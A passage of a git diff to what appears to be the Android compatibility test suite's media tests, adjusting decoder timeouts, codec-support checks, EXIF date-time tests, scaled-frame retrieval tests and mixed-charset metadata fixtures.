                     playerResult = PlayerResult.failToStart();
@@ -286,6 +287,9 @@
                     Log.e(TAG, "IllegalStateException in dequeueDecoderOutputBuffer", exception);
                 }
             }
+            // NB: totalTime measures from "first output" instead of
+            // "first INPUT", so does not include first frame latency
+            // and therefore does not tell us if the timeout expired
             final long totalTime = SystemClock.elapsedRealtime() - firstOutputTimeMs;
             return new PlayerResult(true, true, numOfTotalFrames == numOfDecodedFrames, totalTime);
         }
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index 34e8a82..8185874 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -2219,7 +2219,19 @@
         // start decode loop
         MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
 
-        final long kTimeOutUs = 5000; // 5ms timeout
+        MediaFormat outFormat = codec.getOutputFormat();
+        long kTimeOutUs = 5000; // 5ms timeout
+        String outMime = format.getString(MediaFormat.KEY_MIME);
+        if ((surface == null) && (outMime != null) && outMime.startsWith("video/")) {
+            int outWidth = outFormat.getInteger(MediaFormat.KEY_WIDTH);
+            int outHeight = outFormat.getInteger(MediaFormat.KEY_HEIGHT);
+            // in the 4K decoding case in byte buffer mode, set kTimeOutUs to 10ms as decode may
+            // involve a memcpy
+            if (outWidth * outHeight >= 8000000) {
+                kTimeOutUs = 10000;
+            }
+        }
+
         boolean sawInputEOS = false;
         boolean sawOutputEOS = false;
         int deadDecoderCounter = 0;
diff --git a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
index 9b5f001..f0b303b 100644
--- a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
@@ -21,6 +21,7 @@
 import android.graphics.BitmapFactory;
 import android.media.ExifInterface;
 import android.os.Environment;
+import android.os.FileUtils;
 import android.test.AndroidTestCase;
 import android.util.Log;
 import android.system.ErrnoException;
@@ -70,7 +71,7 @@
             ExifInterface.TAG_MAKE,
             ExifInterface.TAG_MODEL,
             ExifInterface.TAG_F_NUMBER,
-            ExifInterface.TAG_DATETIME,
+            ExifInterface.TAG_DATETIME_ORIGINAL,
             ExifInterface.TAG_EXPOSURE_TIME,
             ExifInterface.TAG_FLASH,
             ExifInterface.TAG_FOCAL_LENGTH,
@@ -107,7 +108,7 @@
         public final String make;
         public final String model;
         public final float aperture;
-        public final String datetime;
+        public final String dateTimeOriginal;
         public final float exposureTime;
         public final float flash;
         public final String focalLength;
@@ -153,7 +154,7 @@
             make = getString(typedArray, index++);
             model = getString(typedArray, index++);
             aperture = typedArray.getFloat(index++, 0f);
-            datetime = getString(typedArray, index++);
+            dateTimeOriginal = getString(typedArray, index++);
             exposureTime = typedArray.getFloat(index++, 0f);
             flash = typedArray.getFloat(index++, 0f);
             focalLength = getString(typedArray, index++);
@@ -273,7 +274,8 @@
         assertStringTag(exifInterface, ExifInterface.TAG_MAKE, expectedValue.make);
         assertStringTag(exifInterface, ExifInterface.TAG_MODEL, expectedValue.model);
         assertFloatTag(exifInterface, ExifInterface.TAG_F_NUMBER, expectedValue.aperture);
-        assertStringTag(exifInterface, ExifInterface.TAG_DATETIME, expectedValue.datetime);
+        assertStringTag(exifInterface, ExifInterface.TAG_DATETIME_ORIGINAL,
+                expectedValue.dateTimeOriginal);
         assertFloatTag(exifInterface, ExifInterface.TAG_EXPOSURE_TIME, expectedValue.exposureTime);
         assertFloatTag(exifInterface, ExifInterface.TAG_FLASH, expectedValue.flash);
         assertStringTag(exifInterface, ExifInterface.TAG_FOCAL_LENGTH, expectedValue.focalLength);
@@ -478,4 +480,34 @@
     public void testReadExifDataFromSamsungNX3000Srw() throws Throwable {
         testExifInterfaceForRaw(SAMSUNG_NX3000_SRW, R.array.samsung_nx3000_srw);
     }
+
+    public void testSetDateTime() throws IOException {
+        final String dateTimeValue = "2017:02:02 22:22:22";
+        final String dateTimeOriginalValue = "2017:01:01 11:11:11";
+
+        File srcFile = new File(Environment.getExternalStorageDirectory(),
+                EXTERNAL_BASE_DIRECTORY + EXIF_BYTE_ORDER_II_JPEG);
+        File imageFile = new File(Environment.getExternalStorageDirectory(),
+                EXTERNAL_BASE_DIRECTORY + EXIF_BYTE_ORDER_II_JPEG + "_copied");
+
+        FileUtils.copyFileOrThrow(srcFile, imageFile);
+        ExifInterface exif = new ExifInterface(imageFile.getAbsolutePath());
+        exif.setAttribute(ExifInterface.TAG_DATETIME, dateTimeValue);
+        exif.setAttribute(ExifInterface.TAG_DATETIME_ORIGINAL, dateTimeOriginalValue);
+        exif.saveAttributes();
+
+        // Check that the DATETIME value is not overwritten by DATETIME_ORIGINAL's value.
+        exif = new ExifInterface(imageFile.getAbsolutePath());
+        assertEquals(dateTimeValue, exif.getAttribute(ExifInterface.TAG_DATETIME));
+        assertEquals(dateTimeOriginalValue, exif.getAttribute(ExifInterface.TAG_DATETIME_ORIGINAL));
+
+        // Now remove the DATETIME value.
+        exif.setAttribute(ExifInterface.TAG_DATETIME, null);
+        exif.saveAttributes();
+
+        // When the DATETIME has no value, then it should be set to DATETIME_ORIGINAL's value.
+        exif = new ExifInterface(imageFile.getAbsolutePath());
+        assertEquals(dateTimeOriginalValue, exif.getAttribute(ExifInterface.TAG_DATETIME));
+        imageFile.delete();
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
index 0ea3ae0..397d6f1 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecCapabilitiesTest.java
@@ -186,8 +186,10 @@
             return; // skip
         }
 
-        String urlString = dynamicConfig.getValue(AVC_BASELINE_12_KEY);
-        playVideoWithRetries(urlString, 256, 144, PLAY_TIME_MS);
+        if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel12)) {
+            String urlString = dynamicConfig.getValue(AVC_BASELINE_12_KEY);
+            playVideoWithRetries(urlString, 256, 144, PLAY_TIME_MS);
+        }
     }
 
     public void testAvcBaseline30() throws Exception {
@@ -195,8 +197,10 @@
             return; // skip
         }
 
-        String urlString = dynamicConfig.getValue(AVC_BASELINE_30_KEY);
-        playVideoWithRetries(urlString, 640, 360, PLAY_TIME_MS);
+        if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileBaseline, AVCLevel3)) {
+            String urlString = dynamicConfig.getValue(AVC_BASELINE_30_KEY);
+            playVideoWithRetries(urlString, 640, 360, PLAY_TIME_MS);
+        }
     }
 
     public void testAvcHigh31() throws Exception {
@@ -204,8 +208,10 @@
             return; // skip
         }
 
-        String urlString = dynamicConfig.getValue(AVC_HIGH_31_KEY);
-        playVideoWithRetries(urlString, 1280, 720, PLAY_TIME_MS);
+        if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileHigh, AVCLevel31)) {
+            String urlString = dynamicConfig.getValue(AVC_HIGH_31_KEY);
+            playVideoWithRetries(urlString, 1280, 720, PLAY_TIME_MS);
+        }
     }
 
     public void testAvcHigh40() throws Exception {
@@ -217,8 +223,10 @@
             return;
         }
 
-        String urlString = dynamicConfig.getValue(AVC_HIGH_40_KEY);
-        playVideoWithRetries(urlString, 1920, 1080, PLAY_TIME_MS);
+        if (checkDecodeWithDefaultPlayer(MIMETYPE_VIDEO_AVC, AVCProfileHigh, AVCLevel4)) {
+            String urlString = dynamicConfig.getValue(AVC_HIGH_40_KEY);
+            playVideoWithRetries(urlString, 1920, 1080, PLAY_TIME_MS);
+        }
     }
 
     public void testHevcMain1() throws Exception {
@@ -312,15 +320,26 @@
     }
 
     private boolean hasDecoder(String mime, int profile, int level) {
-        return supports(mime, false /* isEncoder */, profile, level);
+        return supports(mime, false /* isEncoder */, profile, level, false /* defaultOnly */);
     }
 
     private boolean hasEncoder(String mime, int profile, int level) {
-        return supports(mime, true /* isEncoder */, profile, level);
+        return supports(mime, true /* isEncoder */, profile, level, false /* defaultOnly */);
+    }
+
+    // Checks whether the default AOSP player can play back a specific profile and level for a
+    // given media type. If it cannot, it automatically logs that the test is skipped.
+    private boolean checkDecodeWithDefaultPlayer(String mime, int profile, int level) {
+        if (!supports(mime, false /* isEncoder */, profile, level, true /* defaultOnly */)) {
+            MediaUtils.skipTest(TAG, "default player cannot test codec");
+            return false;
+        }
+        return true;
     }
 
     private boolean supports(
-            String mime, boolean isEncoder, int profile, int level) {
+            String mime, boolean isEncoder, int profile, int level,
+            boolean defaultOnly) {
         MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
         for (MediaCodecInfo info : mcl.getCodecInfos()) {
             if (isEncoder != info.isEncoder()) {
@@ -344,6 +363,11 @@
                         return true;
                     }
                 }
+                // the default AOSP player picks the first codec for a specific mime type, so
+                // we can stop after the first one found
+                if (defaultOnly) {
+                    return false;
+                }
             } catch (IllegalArgumentException e) {
             }
         }
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
index f65e52d..2104118 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
@@ -302,6 +302,11 @@
                 && !pm.hasSystemFeature(pm.FEATURE_TELEVISION);
     }
 
+    private boolean isAutomotive() {
+        PackageManager pm = getContext().getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
+    }
+
     // Find whether the given codec can be found using MediaCodecList.find methods.
     private boolean codecCanBeFound(boolean isEncoder, MediaFormat format) {
         String codecName = isEncoder
@@ -395,7 +400,11 @@
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP8, false));   // vp8 decoder
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP8, true));    // vp8 encoder
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP9, false));   // vp9 decoder
-            list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_HEVC, false));  // hevc decoder
+
+            //According to CDD, hevc decoding is not mandatory for automotive devices
+            if (!isAutomotive()) {
+                list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_HEVC, false));  // hevc decoder
+            }
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_MPEG4, false)); // m4v decoder
             list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_H263, false));  // h263 decoder
             if (hasCamera()) {
@@ -440,4 +449,20 @@
             assertNotNull("Profile " + profile + " must be supported.", codecName);
         }
     }
+
+    public void testAudioCodecChannels() {
+        for (MediaCodecInfo info : mAllInfos) {
+            String[] types = info.getSupportedTypes();
+            for (int j = 0; j < types.length; ++j) {
+                CodecCapabilities cap = info.getCapabilitiesForType(types[j]);
+                AudioCapabilities audioCap = cap.getAudioCapabilities();
+                if (audioCap == null) {
+                    continue;
+                }
+                int n = audioCap.getMaxInputChannelCount();
+                Log.d(TAG, info.getName() + ": " + n);
+                assertTrue(info.getName() + " max input channel not positive: " + n, n > 0);
+            }
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaControllerTest.java b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
index 17588ee..ec370ef 100644
--- a/tests/tests/media/src/android/media/cts/MediaControllerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaControllerTest.java
@@ -84,6 +84,11 @@
         }
     }
 
+    public void testAdjustVolumeWithIllegalDirection() {
+        // Call the method with illegal direction. System should not reboot.
+        mController.adjustVolume(37, 0);
+    }
+
     public void testVolumeControl() throws Exception {
         VolumeProvider vp = new VolumeProvider(VolumeProvider.VOLUME_CONTROL_ABSOLUTE, 11, 5) {
             @Override
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
index d18890f..58d803e 100644
--- a/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaMetadataRetrieverTest.java
@@ -336,4 +336,186 @@
             fail("Exception getting bitmap: " + e);
         }
     }
+
+    /**
+     * The following tests verifies MediaMetadataRetriever.getScaledFrameAtTime behavior.
+     */
+    public void testGetScaledFrameAtTime() {
+        int resId = R.raw.binary_counter_320x240_30fps_600frames;
+        if (!MediaUtils.hasCodecForResourceAndDomain(getContext(), resId, "video/")
+            && mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+            MediaUtils.skipTest("no video codecs for resource on watch");
+            return;
+        }
+
+        MediaMetadataRetriever retriever = new MediaMetadataRetriever();
+        Resources resources = getContext().getResources();
+        AssetFileDescriptor afd = resources.openRawResourceFd(resId);
+
+        retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+        try {
+            afd.close();
+        } catch (IOException e) {
+            fail("Unable to close file");
+        }
+
+        try {
+            Bitmap bitmap = retriever.getScaledFrameAtTime(
+                    2066666 /*timeUs*/ , OPTION_CLOSEST, 0 /*width*/, 120 /*height*/);
+            fail("Failed to receive exception");
+        } catch (IllegalArgumentException e) {
+            // Expect exception
+        }
+
+        try {
+            Bitmap bitmap = retriever.getScaledFrameAtTime(
+                    2066666 /*timeUs*/ , OPTION_CLOSEST, -1 /*width*/, 0 /*height*/);
+            fail("Failed to receive exception");
+        } catch (IllegalArgumentException e) {
+            // Expect exception
+        }
+
+        try {
+            Bitmap bitmap = retriever.getScaledFrameAtTime(
+                    2066666 /*timeUs*/ , OPTION_CLOSEST, -1 /*width*/, 120 /*height*/);
+            fail("Failed to receive exception");
+        } catch (IllegalArgumentException e) {
+            // Expect exception
+        }
+
+        try {
+            Bitmap bitmap = retriever.getScaledFrameAtTime(
+                2066666 /*timeUs */, OPTION_CLOSEST, 140 /*width*/, -1 /*height*/);
+            fail("Failed to receive exception");
+        } catch (IllegalArgumentException e) {
+            // Expect exception
+        }
+
+        try {
+            Bitmap bitmap = retriever.getScaledFrameAtTime(
+                2066666 /*timeUs */, OPTION_CLOSEST, -1 /*width*/, -1 /*height*/);
+            fail("Failed to receive exception");
+        } catch (IllegalArgumentException e) {
+            // Expect exception
+        }
+
+        // Test desided size of 160 x 120. Return should be 160 x 120
+        try {
+            Bitmap bitmap = retriever.getScaledFrameAtTime(
+                2066666 /*timeUs */, OPTION_CLOSEST, 160 /*width*/, 120 /*height*/);
+            if (bitmap == null) {
+                fail("Failed to get scaled bitmap");
+            }
+            if (SAVE_BITMAP_OUTPUT) {
+                CodecUtils.saveBitmapToFile(bitmap, "test_160x120" + ".jpg");
+            }
+
+            if (bitmap.getWidth() != 160 /* width */) {
+                fail("Bitmap width is " + bitmap.getWidth() + "Expect: 160");
+            }
+            if (bitmap.getHeight() != 120 /* height */) {
+                fail("Bitmap height is " + bitmap.getHeight() + "Expect: 120");
+            }
+
+        } catch (Exception e) {
+            fail("Exception getting bitmap: " + e);
+        }
+
+        // Test scaled up bitmap to 640 x 480. Return should be 640 x 480
+        try {
+            Bitmap bitmap = retriever.getScaledFrameAtTime(
+                2066666 /*timeUs */, OPTION_CLOSEST, 640 /*width*/, 480 /*height*/);
+            if (bitmap == null) {
+                fail("Failed to get scaled bitmap");
+            }
+            if (SAVE_BITMAP_OUTPUT) {
+                CodecUtils.saveBitmapToFile(bitmap, "test_640x480" + ".jpg");
+            }
+
+            if (bitmap.getWidth() != 640 /* width */) {
+                fail("Bitmap width is " + bitmap.getWidth() + "Expect: 640");
+            }
+            if (bitmap.getHeight() != 480 /* height */) {
+                fail("Bitmap height is " + bitmap.getHeight() + "Expect: 480");
+            }
+
+        } catch (Exception e) {
+            fail("Exception getting bitmap: " + e);
+        }
+
+        // Test scaled up bitmap to 320 x 120. Return should be 160 x 120
+        try {
+            Bitmap bitmap = retriever.getScaledFrameAtTime(
+                2066666 /*timeUs */, OPTION_CLOSEST, 320 /*width*/, 120 /*height*/);
+            if (bitmap == null) {
+                fail("Failed to get scaled bitmap");
+            }
+            if (SAVE_BITMAP_OUTPUT) {
+                CodecUtils.saveBitmapToFile(bitmap, "test_320x120" + ".jpg");
+            }
+
+            if (bitmap.getWidth() != 160 /* width */) {
+                fail("Bitmap width is " + bitmap.getWidth() + "Expect: 160");
+            }
+            if (bitmap.getHeight() != 120 /* height */) {
+                fail("Bitmap height is " + bitmap.getHeight() + "Expect: 120");
+            }
+
+        } catch (Exception e) {
+            fail("Exception getting bitmap: " + e);
+        }
+
+        // Test scaled up bitmap to 160 x 240. Return should be 160 x 120
+        try {
+            Bitmap bitmap = retriever.getScaledFrameAtTime(
+                2066666 /*timeUs */, OPTION_CLOSEST, 160 /*width*/, 240 /*height*/);
+            if (bitmap == null) {
+                fail("Failed to get scaled bitmap");
+            }
+            if (SAVE_BITMAP_OUTPUT) {
+                CodecUtils.saveBitmapToFile(bitmap, "test_160x240" + ".jpg");
+            }
+
+            if (bitmap.getWidth() != 160 /* width */) {
+                fail("Bitmap width is " + bitmap.getWidth() + "Expect: 160");
+            }
+            if (bitmap.getHeight() != 120 /* height */) {
+                fail("Bitmap height is " + bitmap.getHeight() + "Expect: 120");
+            }
+
+        } catch (Exception e) {
+            fail("Exception getting bitmap: " + e);
+        }
+
+        // Test scaled the video with aspect ratio
+        resId = R.raw.binary_counter_320x240_720x240_30fps_600frames;
+        afd = resources.openRawResourceFd(resId);
+
+        retriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+        try {
+            afd.close();
+        } catch (IOException e) {
+            fail("Unable to close file");
+        }
+        try {
+            Bitmap bitmap = retriever.getScaledFrameAtTime(
+                2066666 /*timeUs */, OPTION_CLOSEST, 330 /*width*/, 240 /*height*/);
+            if (bitmap == null) {
+                fail("Failed to get scaled bitmap");
+            }
+            if (SAVE_BITMAP_OUTPUT) {
+                CodecUtils.saveBitmapToFile(bitmap, "test_330x240" + ".jpg");
+            }
+
+            if (bitmap.getWidth() != 330 /* width */) {
+                fail("Bitmap width is " + bitmap.getWidth() + "Expect: 330");
+            }
+            if (bitmap.getHeight() != 110 /* height */) {
+                fail("Bitmap height is " + bitmap.getHeight() + "Expect: 110");
+            }
+
+        } catch (Exception e) {
+            fail("Exception getting bitmap: " + e);
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerDrmTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayerDrmTestBase.java
index 0736f32..94e75eb 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerDrmTestBase.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerDrmTestBase.java
@@ -809,7 +809,7 @@
                     // Can skip conversion if ClearKey adds support for BMFF initData (b/64863112)
                     initData = makeCencPSSH(CLEARKEY_SCHEME_UUID, psshData);
                 }
-                Log.d(TAG, "setupDrm: initData[" + drmScheme + "]: " + initData);
+                Log.d(TAG, "setupDrm: initData[" + drmScheme + "]: " + Arrays.toString(initData));
 
                 // diverging from GTS
                 mime = "cenc";
@@ -848,7 +848,7 @@
             byte[] keySetId = mMediaPlayer.provideKeyResponse(
                     (keyType == MediaDrm.KEY_TYPE_RELEASE) ? mKeySetId : null,
                     response);
-            Log.d(TAG, "setupDrm: provideKeyResponse -> " + keySetId);
+            Log.d(TAG, "setupDrm: provideKeyResponse -> " + Arrays.toString(keySetId));
             // storing offline key for a later restore
             mKeySetId = (keyType == MediaDrm.KEY_TYPE_OFFLINE) ? keySetId : null;
 
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
index 06ba494..c7b64e5 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
@@ -15,6 +15,7 @@
  */
 package android.media.cts;
 
+import android.app.ActivityManager;
 import android.media.cts.R;
 
 import android.content.Context;
@@ -802,12 +803,15 @@
         MediaPlayer mp2 = null;
         AudioEffect vc = null;
         Visualizer vis = null;
-        AudioManager am = null;
+        AudioManager am = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
         int oldRingerMode = Integer.MIN_VALUE;
         int oldVolume = Integer.MIN_VALUE;
         try {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true /* on */);
+            if (am.getRingerMode() != AudioManager.RINGER_MODE_NORMAL
+                    && !ActivityManager.isLowRamDeviceStatic()) {
+                Utils.toggleNotificationPolicyAccess(
+                        mContext.getPackageName(), getInstrumentation(), true /* on */);
+            }
 
             mp1 = new MediaPlayer();
             mp1.setAudioStreamType(AudioManager.STREAM_MUSIC);
@@ -848,10 +852,12 @@
             byte[] vizdata = new byte[size];
 
             vis = new Visualizer(session);
-            am = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+
             oldRingerMode = am.getRingerMode();
             // make sure we aren't in silent mode
-            am.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
+            if (am.getRingerMode() != AudioManager.RINGER_MODE_NORMAL) {
+                am.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
+            }
             oldVolume = am.getStreamVolume(AudioManager.STREAM_MUSIC);
             am.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
 
@@ -906,8 +912,10 @@
             if (oldVolume != Integer.MIN_VALUE) {
                 am.setStreamVolume(AudioManager.STREAM_MUSIC, oldVolume, 0);
             }
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false  /* on == false */);
+            if (!ActivityManager.isLowRamDeviceStatic()) {
+                Utils.toggleNotificationPolicyAccess(
+                        mContext.getPackageName(), getInstrumentation(), false  /* on == false */);
+            }
         }
     }
 
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
index d2b7f23..ff8efc7 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
@@ -207,6 +207,7 @@
         boolean playedSuccessfully = false;
         for (int i = 0; i < STREAM_RETRIES; i++) {
           try {
+            mMediaPlayer.reset();
             mMediaPlayer.setDataSource(path);
             playLoadedVideo(width, height, playTime);
             playedSuccessfully = true;
@@ -239,6 +240,7 @@
         boolean playedSuccessfully = false;
         for (int i = 0; i < STREAM_RETRIES; i++) {
             try {
+                mMediaPlayer.reset();
                 mMediaPlayer.setDataSource(getInstrumentation().getTargetContext(),
                         uri, headers, cookies);
                 playLoadedVideo(width, height, playTime);
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index 589ff15..3578e4f 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -865,7 +865,13 @@
             String mime = format.getString(MediaFormat.KEY_MIME);
             if (mime.startsWith("video/")) {
                 int finalProfile = format.getInteger(MediaFormat.KEY_PROFILE);
-                if (finalProfile != profile) {
+                if (!(finalProfile == profile ||
+                        (mediaType.equals(AVC)
+                                && profile == AVCProfileBaseline
+                                && finalProfile == AVCProfileConstrainedBaseline) ||
+                        (mediaType.equals(AVC)
+                                && profile == AVCProfileHigh
+                                && finalProfile == AVCProfileConstrainedHigh))) {
                     fail("Incorrect profile: " + finalProfile + " Expected: " + profile);
                 }
                 int finalLevel = format.getInteger(MediaFormat.KEY_LEVEL);
diff --git a/tests/tests/media/src/android/media/cts/MediaRouterTest.java b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
index 46bcb58..4b91a79 100644
--- a/tests/tests/media/src/android/media/cts/MediaRouterTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
@@ -58,17 +58,18 @@
     private RouteCategory mTestGroupableCategory;
     private CharSequence mTestRouteName;
     private Drawable mTestIconDrawable;
+    private Context mContext;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
-        final Context context = getInstrumentation().getContext();
-        mMediaRouter = (MediaRouter) context.getSystemService(Context.MEDIA_ROUTER_SERVICE);
+        mContext = getInstrumentation().getContext();
+        mMediaRouter = (MediaRouter) mContext.getSystemService(Context.MEDIA_ROUTER_SERVICE);
         mTestCategory = mMediaRouter.createRouteCategory(TEST_CATEGORY_NAME_RESOURCE_ID, false);
         mTestGroupableCategory = mMediaRouter.createRouteCategory(TEST_GROUPABLE_CATEGORY_NAME,
                 true);
-        mTestRouteName = getInstrumentation().getContext().getText(TEST_ROUTE_NAME_RESOURCE_ID);
-        mTestIconDrawable = getInstrumentation().getContext().getDrawable(TEST_ICON_RESOURCE_ID);
+        mTestRouteName = mContext.getText(TEST_ROUTE_NAME_RESOURCE_ID);
+        mTestIconDrawable = mContext.getDrawable(TEST_ICON_RESOURCE_ID);
     }
 
     protected void tearDown() throws Exception {
@@ -137,12 +138,11 @@
      * Test {@link MediaRouter.UserRouteInfo} with the default route.
      */
     public void testDefaultRouteInfo() {
-        Context context = getInstrumentation().getContext();
         RouteInfo route = mMediaRouter.getDefaultRoute();
 
         assertNotNull(route.getCategory());
         assertNotNull(route.getName());
-        assertNotNull(route.getName(context));
+        assertNotNull(route.getName(mContext));
         assertTrue(route.isEnabled());
         assertFalse(route.isConnecting());
         assertEquals(RouteInfo.DEVICE_TYPE_UNKNOWN, route.getDeviceType());
@@ -155,19 +155,11 @@
         Object tag = new Object();
         route.setTag(tag);
         assertEquals(tag, route.getTag());
-
         assertEquals(AudioManager.STREAM_MUSIC, route.getPlaybackStream());
-        if (RouteInfo.PLAYBACK_VOLUME_VARIABLE == route.getVolumeHandling()) {
-            int curVolume = route.getVolume();
-            int maxVolume = route.getVolumeMax();
-            assertTrue(curVolume <= maxVolume);
-            route.requestSetVolume(maxVolume);
-            assertEquals(maxVolume, route.getVolume());
-            route.requestUpdateVolume(-maxVolume);
-            assertEquals(0, route.getVolume());
-            route.requestUpdateVolume(curVolume);
-            assertEquals(curVolume, route.getVolume());
-        }
+
+        int curVolume = route.getVolume();
+        int maxVolume = route.getVolumeMax();
+        assertTrue(curVolume <= maxVolume);
     }
 
     /**
@@ -195,7 +187,7 @@
         // context which has the same resources, two methods will return the same value.
         userRoute.setName(TEST_ROUTE_NAME_RESOURCE_ID);
         assertEquals(mTestRouteName, userRoute.getName());
-        assertEquals(mTestRouteName, userRoute.getName(getInstrumentation().getContext()));
+        assertEquals(mTestRouteName, userRoute.getName(mContext));
 
         userRoute.setDescription(TEST_ROUTE_DESCRIPTION);
         assertEquals(TEST_ROUTE_DESCRIPTION, userRoute.getDescription());
@@ -227,7 +219,7 @@
 
         Intent intent = new Intent(Intent.ACTION_MEDIA_BUTTON);
         PendingIntent mediaButtonIntent = PendingIntent.getBroadcast(
-                getInstrumentation().getContext(), 0, intent, PendingIntent.FLAG_ONE_SHOT);
+                mContext, 0, intent, PendingIntent.FLAG_ONE_SHOT);
         RemoteControlClient rcc = new RemoteControlClient(mediaButtonIntent);
         userRoute.setRemoteControlClient(rcc);
         assertEquals(rcc, userRoute.getRemoteControlClient());
@@ -323,10 +315,10 @@
         // when the media router is first initialized. In contrast, getName(Context) method tries to
         // find the resource in a given context's resources. So if we call getName(Context) with a
         // context which has the same resources, two methods will return the same value.
-        CharSequence categoryName = getInstrumentation().getContext().getText(
+        CharSequence categoryName = mContext.getText(
                 TEST_CATEGORY_NAME_RESOURCE_ID);
         assertEquals(categoryName, routeCategory.getName());
-        assertEquals(categoryName, routeCategory.getName(getInstrumentation().getContext()));
+        assertEquals(categoryName, routeCategory.getName(mContext));
 
         assertFalse(routeCategory.isGroupable());
         assertEquals(MediaRouter.ROUTE_TYPE_USER, routeCategory.getSupportedTypes());
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerTest.java b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
index 3a12e3b..137b7cf 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
@@ -470,7 +470,20 @@
             new MediaScanEntry(R.raw.iso88591_13,
                     new String[] {"Michael Bublé", "Crazy Love", "Michael Bublé", "Haven't Met You Yet", null}),
             new MediaScanEntry(R.raw.utf16_1,
-                    new String[] {"Shakira", "Latin Mix USA", "Shakira", "Estoy Aquí", null})
+                    new String[] {"Shakira", "Latin Mix USA", "Shakira", "Estoy Aquí", null}),
+            // Tags are encoded in different charsets.
+            new MediaScanEntry(R.raw.iso88591_utf8_mixed_1,
+                    new String[] {"刘昊霖/kidult.", "鱼干铺里", "刘昊霖/kidult.", "Colin Wine's Mailbox", null}),
+            new MediaScanEntry(R.raw.iso88591_utf8_mixed_2,
+                    new String[] {"冰块先生/郭美孜", "hey jude", "冰块先生/郭美孜", "Hey Jude", null}),
+            new MediaScanEntry(R.raw.iso88591_utf8_mixed_3,
+                    new String[] {"Toy王奕/Tizzy T/满舒克", "1993", "Toy王奕/Tizzy T/满舒克", "Me&Ma Bros", null}),
+            new MediaScanEntry(R.raw.gb18030_utf8_mixed_1,
+                    new String[] {"张国荣", "钟情张国荣", null, "左右手", null}),
+            new MediaScanEntry(R.raw.gb18030_utf8_mixed_2,
+                    new String[] {"纵贯线", "Live in Taipei 出发\\/终点站", null, "皇后大道东(Live)", null}),
+            new MediaScanEntry(R.raw.gb18030_utf8_mixed_3,
+                    new String[] {"谭咏麟", "二十年白金畅销金曲全记录", null, "知心当玩偶", null})
     };
 
     public void testEncodingDetection() throws Exception {
